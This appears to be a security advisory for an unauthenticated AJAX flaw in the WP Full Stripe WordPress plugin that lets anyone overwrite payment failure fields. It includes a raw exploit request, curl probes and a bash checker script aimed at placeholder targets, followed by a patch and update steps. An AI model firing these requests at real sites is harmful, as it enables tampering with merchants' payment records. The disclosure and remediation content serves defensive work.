// wpfs-customer.php, Line 705-706
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );

// wpfs-customer.php, Line 3835-3865
function update_failed_payment_status() {
    try {
        $result = [];
        $failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
        $failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
        $paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;

        $paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
        // ... 処理前に認証チェックなし ...

        $updateData = [
            'paid' => 0,
            'captured' => 0,
            'refunded' => 0
        ];

        // 攻撃者は制御可能な値で上書き可能
        if ( $lastCharge ) {
            $updateData['last_charge_status'] = $lastCharge->status;
            $updateData['failure_code'] = $lastCharge->failure_code;
            $updateData['failure_message'] = $lastCharge->failure_message;
        } else {
            $updateData['last_charge_status'] = 'failed';
            $updateData['failure_code'] = $failureCode;
            $updateData['failure_message'] = $failureMessage;
        }

        $this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
        // ...
    }
}

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=ATTACKER_CODE&failureMessage=ATTACKER_MESSAGE

# エンドポイントが認証なしでアクセス可能かテスト
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_cve202612432" \
  -d "failureCode=TEST_CODE" \
  -d "failureMessage=TEST_MESSAGE"

# 期待されるレスポンス（脆弱な場合）:
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}

# 重要な指標は、エンドポイントが認証を要求せずに応答すること

#!/bin/bash
TARGET="https://TARGET"

# 脆弱性の確認
echo "[*] Testing CVE-2026-12432..."

RESPONSE=$(curl -s -k -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_123" \
  -d "failureCode=XSS" \
  -d "failureMessage=INJECTED")

if echo "$RESPONSE" | grep -q "success"; then
    echo "[+] VULNERABLE - Endpoint accessible without auth"
else
    echo "[-] Not vulnerable or error"
fi

function update_failed_payment_status() {
    // このチェックを追加
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // ... 関数の残りの部分
}

# WordPress管理画面から
ダッシュボード > プラグイン > WP Full Stripe > 更新

# WP-CLI経由
wp plugin update wp-full-stripe-free

# SSH経由
wp plugin update wp-full-stripe-free --version=8.4.4

# 脆弱なバージョンがインストールされているか確認
curl -s https://TARGET/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"

# AJAXエンドポイントのテスト
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test" | grep -q "success" && echo "Potentially Vulnerable"